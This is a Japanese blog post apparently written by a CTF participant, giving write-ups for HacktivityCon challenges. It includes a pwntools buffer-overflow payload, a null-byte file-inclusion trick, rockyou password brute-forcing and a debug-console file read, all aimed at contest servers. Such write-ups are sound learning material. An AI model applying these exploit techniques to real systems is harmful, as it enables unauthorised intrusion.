HacktivityCon CTF 参加記 , Writeup
雑
CTFの問題は割と解いた事があったのですが、CTFのコンテスト自体に参加するのは始めてでした。
全体として1310点、1974人中201位で割と良かったのかなと思います。
ですが、Web系の知識の欠如が深刻な事に気づきました。Web、範囲が広すぎてどこから手を出せばいいのか...
CTFやると競プロが手につかなくなり、競プロやるとCTFが手につかなくなる、これどうすりゃいいの!!
???「あれ、学業はどうしたんですか?」
Web
600人以上解いてるLadybugが解けませんでした。チクショー!
結局ACは1問だけです。
Bite
?page=hoge で読み込んでいるので、hogeの部分にflagを入れたら出てくるかなーと思ったらヒントが出てきました。
しかし、page=/flag.txt と入れると最後に.phpが付けられてしまいます。
そこで、null byteを表す %00 をURLの最後につけてやると、FLAGが表示されました。
かなり有名なテクニックですね。
Crypto
Pythonのいい勉強になりました。
Tyrannosaurus
配布されたファイルの中身
#!/usr/bin/env python import base64 import binascii h = binascii.hexlify b = base64.b64encode c = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def enc(f): e = b(f) z = [] i = 0 while i < len(e): z += [e[i] ^ e[((i + 1) % len(e))]] i = i + 1 c = h(bytearray(z)) return c
cというのは、enc(c)
をした後の値でしょう。
XORがぐるぐる回っているので、1文字目を全部調べればどれかは正解です。
月刊競技プログラミングは役に立つ
そこで、以下のようなコードを書くとflagが出力されました。
#!/usr/bin/env python import base64 import binascii h = binascii.hexlify b = base64.b64encode c = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' g = binascii.unhexlify bb = base64.b64decode def dec(f): f = g(f) print(f) for i in range(0x100): ans = "" ans += chr(i) now = i for j in range(len(f)-1): memo=int(f[j:j+1].hex(),16) ans+=chr(now^memo) now^=memo try: flag=bb(ans) if b"flag" in flag: print(flag) except: pass dec(c)
Perfect XOR
配布されたファイル
import base64 n = 1 i = 0 cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" def a(n): b = 0 for i in range(1, n): if(n % i == 0): b += i return b == n print("flag{", end='', flush=True) cipher = base64.b64decode(cipher_b64).decode().split(",") while(i < len(cipher)): if (a(n)): print(chr(int(cipher[i]) ^ n), end='', flush=True) i += 1 n+=1 print("}")
コードを読むと、どうやら完全数の時だけ出力しているようですね。完全数は非常に大きいので、この調子ではいつまで経っても終わりません。
cipher
の長さが14とかなので、完全数でググって出てきたのを貼るとFLAGが出力されました。
import base64 cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" perfect=[ 6, 28, 496, 8128, 33550336, 8589869056, 137438691328, 2305843008139952128, 2658455991569831744654692615953842176, 191561942608236107294793378084303638130997321548169216, 13164036458569648337239753460458722910223472318386943117783728128, 14474011154664524427946373126085988481573677491474835889066354349131199152128, 23562723457267347065789548996709904988477547858392600710143027597506337283178622239730365539602600561360255566462503270175052892578043215543382498428777152427010394496918664028644534128033831439790236838624033171435922356643219703101720713163527487298747400647801939587165936401087419375649057918549492160555646976, 141053783706712069063207958086063189881486743514715667838838675999954867742652380114104193329037690251561950568709829327164087724366370087116731268159313652487450652439805877296207297446723295166658228846926807786652870188920867879451478364569313922060370695064736073572378695176473055266826253284886383715072974324463835300053138429460296575143368065570759537328128 ] print("flag{", end='', flush=True) cipher = base64.b64decode(cipher_b64).decode().split(",") for i in range(len(cipher)): if True: print(chr(int(cipher[i]) ^ perfect[i]), end='', flush=True) i += 1 print("}")
こっちの方が簡単な気がします。
Binary Exploitation
割と得意分野なのに、1問しか解けなくて悲しい...
Pancakes
BOFがありました。secret_recipe
っていうFLAGを出力する関数があったので、これを呼びます。
やるだけ
from pwn import * #p=process("./pancakes") p=remote("jh2i.com",50021) elf=ELF("./pancakes") payload=b"A"*152 payload+=p64(elf.symbols['secret_recipe']) p.sendline(payload) print(p.recvall())
Steganography
色々ググりながらやっていく内に、解ける問題が増えました。
Spy vs. Spy
stegsolveをダウンロードして、ファイルを解析すると解けます。
stegsolveの存在を知らず、だいぶ悩んでいました。
Chess Cheater
自分の耳で解析するのは中々無理があるので、ツールに頼りましょう。
モールス信号を音からデコードしてくれるやつ に投げます。解けます。おしまい!
Busted
画像ファイルのExifを解析すると、ctrl+alt+e
とコメントしてありました。そこで、steghideのextract時のパスフレーズにctrl+alt+e
を入れると、flag.txt
が展開されました。個人的に好きな問題です。
Scripting
1問目のMisdirectionが解けなかったのがかなり悔しいですね...
やはりWeb系が壊滅的です。
Prophecy
接続すると、数を当てろと言われるので乱数かと思ったら固定値でした。
そのため、1つずつ数を確定していけばいいのですが、手作業だときつそうのでスクリプトを書きました。(Scriptingだしね!)
from pwn import * lst=[] while True: print(lst) p=remote("jh2i.com",50012) for i in range(len(lst)): p.sendlineafter(b"W H A T I S T H E N E X T N U M B E R T O C O M E F R O M T H E F U T U R E ?",str(lst[i])); p.sendline(b"1000000000000000000000000000") try: p.recvuntil(b"T H E C O R R E C T N U M B E R W A S ") lst.append(int(p.recvline().decode('utf-8'))) except : print(p.recvall()) break
答えの数列の長さは20でした。まぁ、手作業でもできないことはないか。
Tootsie Pop
Zipファイルが与えられるのですが、いくら展開してもファイルがあります。
gzip,xz,bunzip2,zipで適当な順番で途方もない回数で圧縮されているようでした。
しばらく手作業でやった後、ファイルのサイズが一向に減らない事に気づきスクリプトを書きましたが、時々止まるのでその度に手作業でちょっと直すというクソスクリプトなので載せるのはやめておきます。
Misc
Cat Cage
grepが出せないなーと思ったら、/bin/grep で行けました。
また、
/bin/grep -r flag ./*
だとダメだったのに
/bin/grep -r flag{ ./*
だとFLAGが出力されました。なんでだろ?
His Story
なんか解いてたんですが、解法が思い出せません...
/bin/cat flag.txt
で解けて驚いたとかの記憶があったようななかったような...
さっき見たらスラッシュが入れられなくなっていました。解いた時はそうじゃなかったような気が??
勘違いかもです。不正疑惑
Forensics
あんまりまともに解けませんでした。SteganoってForensicsに含まれないんですかね?
Opposable Thumbs
foremostにかけると、flagの表示された画像が中に入っていた事が分かります。終わり
Warmups
Read The Rules
ルールのHTMLの下の方に、flagがコメントされていました。
Caesar Mirror
シーザー暗号/ROT13です。有名ですね。
Common Place
"I found it"と言っていた rfc5785
でググると、(hoge)/.well_known
を調べるみたいな事が書かれてたので適当に入れたら本当にありました。
そこにディレクトリ一覧があり、flag.txtもそこにありました。
Internet Cattos
一見するとflagが見えませんが、
nc jh2i.com 50003 > nc.txt
とすると、中にflagが書かれていました。
多分バッファの位置を改行する度に上に持っていってるとかですよね。
Hexgedit
写真のHexの中に flag{
が含まれているに違いないので、flag{
を16進数に変換した
66 6c 61 67 7b
を探すと、ファイルの末尾にありました。
Private Investigator
RSAの秘密鍵が渡されるので、それを使って問題文に書いてある通りに接続すれば良いです。
chmod 777 *
とかやると、権限不備で弾かれるので注意。
Vencryption
fileコマンドで調べると、Vim encrypted file data
と書かれていたのでググると、
VimDecrypt というツールが見つかるのでダウンロードします。
rockyou.txt というパスワードの候補を使って総当りするとパスワードは computer
である事が分かるので、上のツールでdecryptするとflagが表示されました。
作者さん、ありがとう!!!
コンテスト後に理解した問題集
Mobile one
これ、stringsだけで解けたっぽい。apkをdex2jarで解析してた時間を返してくれ...
基本を忘れた報いですね。
Ladybug
なんか存在しないページ出すとAssertion Errorが起きるのは分かっていたんですが、まさかそこからコマンドが開けるとは思いませんでした。
f=open("flag.txt") print(f.read())
Pseudo
/etc/sudoers.d
に機密情報が入ってるよーという話でした。
なるほどなぁ
Spaghetti
binwalkする所までは分かっていたんですが、zlib をどうするかが分かりませんでした。展開してもほぼ情報もないし...
Online File Viewer にかけると解けるっぽいです。よく分からないけど解けたからヨシ(??)
ポエム
コンテストの復習はして、後は再来週のAPIOに備えようと思います。
マジで最近競プロやらなさすぎなので。。。
では、Happy Hacking!